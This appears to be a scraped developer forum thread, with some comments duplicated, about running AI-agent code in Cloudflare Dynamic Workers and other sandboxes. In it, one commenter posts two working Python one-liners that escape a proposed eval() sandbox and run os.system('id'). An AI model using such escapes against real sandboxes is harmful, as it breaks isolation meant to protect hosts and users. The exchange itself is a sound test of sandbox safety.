Rendered at 16:21:15 GMT+0000 (Coordinated Universal Time) with Cloudflare Workers.
cezarvil 16 hours ago [-]
MCP really isn't aging well, to be honest. LLMs are just way more efficient at writing a single script that targets an API directly, rather than ping-ponging across a protocol that's inherently slow and token-heavy. Not saying MCP is bad, just that it's obviously not the silver bullet everyone thought it was.
Cloudflare letting the LLM write a single JS function to execute the whole chain in an edge isolate is super smart. It finally offloads the agent's inner loop.
I’ve been dealing with the exact same latency/reliability mess, but on the frontend. We ended up building an open protocol to let agents operate live UIs natively because vision and DOM-scraping loops are just painfully slow. Moving the actual execution engine as close to the target as possible (either an edge V8 isolate for APIs, or a native SDK for the frontend) seems to be the only real way out of the current "slow and expensive" agent phase.
est 4 days ago [-]
slightly related, if you need a safe python sandbox instead of eval(), you can try
I wasn't able to crack this sandbox, and neither could opus-4.6-thinking.
This sandbox won't protect you from DoS, but I think it's reasonably safe to use it for AI tool calls. Just expose your MCP/RPC methods in the last {} and you are good.
farlow 4 days ago [-]
You can bypass this with unicode:
eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})
farlow 4 days ago [-]
You can do it without unicode, too:
eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})
est 4 days ago [-]
damn you are good. Is this a new py3 thing?
I must missed lots of CTF lessons.
How about adding another .replace('﹍','').replace('gi_frame', '') ?
decodebytes 4 days ago [-]
If anyone wants native python sandboxing without needing a cloud API, we just shipped an early python SDK from the https://nono.sh project:
Could an AI decide to download JavaScript libraries of its choice into a dynamic worker? That wouldn't be as flexible as a full Linux VM but it might be interesting.
Edit: I guess not:
> If your Dynamic Worker needs TypeScript compilation or npm dependencies, the code must be transpiled and bundled before passing to the Worker Loader.
When using Dynamic Workers, you generally don't run the AI harness inside the Dynamic Worker itself, but rather as a regular worker. But your harness would have a tool call that's like "executeCode" which runs code in the dynamic worker.
You could certainly set it up to allow the AI to import arbitrary npm modules if you want. We even offer a library to help with that:
Let's say I have a bunch of objects (e.g. parquet) in R2, can the agent mount them? Or how do I best give the agent access to the objects? HTTP w/ signed urls? Injecting the credentials?
kentonv 4 days ago [-]
Dynamic Workers don't have a built-in filesystem, but you can give them access to one.
What you would do is give the Worker a TypeScript RPC interface that lets it read the files -- which you implement in your own Worker. To give it fast access, you might consider using a Durable Object. Download the data into the Durable Object's local SQLite database, then create an RPC interface to that, and pass it off to the Dynamic Worker running on the same machine.
See also this experimental package from Sunil that's exploring what the Dynamic Worker equivalent of a shell and a filesystem might be:
Cloudflare letting the LLM write a single JS function to execute the whole chain in an edge isolate is super smart. It finally offloads the agent's inner loop.
I’ve been dealing with the exact same latency/reliability mess, but on the frontend. We ended up building an open protocol to let agents operate live UIs natively because vision and DOM-scraping loops are just painfully slow. Moving the actual execution engine as close to the target as possible (either an edge V8 isolate for APIs, or a native SDK for the frontend) seems to be the only real way out of the current "slow and expensive" agent phase.
eval(YOUR_CODE.replace('__', ''), {'__builtins__': None}, {})
I saw this trick on reddit many years ago and wrote a blog last month https://blog.est.im/2026/stdout-09
I wasn't able to crack this sandbox, and neither could opus-4.6-thinking.
This sandbox won't protect you from DoS, but I think it's reasonably safe to use it for AI tool calls. Just expose your MCP/RPC methods in the last {} and you are good.
eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})
eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})
I must missed lots of CTF lessons.
How about adding another .replace('﹍','').replace('gi_frame', '') ?
import nono_py as nono
# Define capabilities caps = nono.CapabilitySet() caps.allow_path("/project", nono.AccessMode.READ_WRITE) caps.allow_file("/home/user/.gitconfig", nono.AccessMode.READ)
# Apply sandbox (irrevocable) nono.apply(caps)
# Your agent code runs here, fully sandboxed agent.run()
example using pydantic and fast API:
https://github.com/always-further/pydantic-ai-fastapi-nono
Edit: I guess not:
> If your Dynamic Worker needs TypeScript compilation or npm dependencies, the code must be transpiled and bundled before passing to the Worker Loader.
https://developers.cloudflare.com/dynamic-workers/getting-st...
You could certainly set it up to allow the AI to import arbitrary npm modules if you want. We even offer a library to help with that:
https://www.npmjs.com/package/@cloudflare/worker-bundler
What you would do is give the Worker a TypeScript RPC interface that lets it read the files -- which you implement in your own Worker. To give it fast access, you might consider using a Durable Object. Download the data into the Durable Object's local SQLite database, then create an RPC interface to that, and pass it off to the Dynamic Worker running on the same machine.
See also this experimental package from Sunil that's exploring what the Dynamic Worker equivalent of a shell and a filesystem might be:
https://www.npmjs.com/package/@cloudflare/shell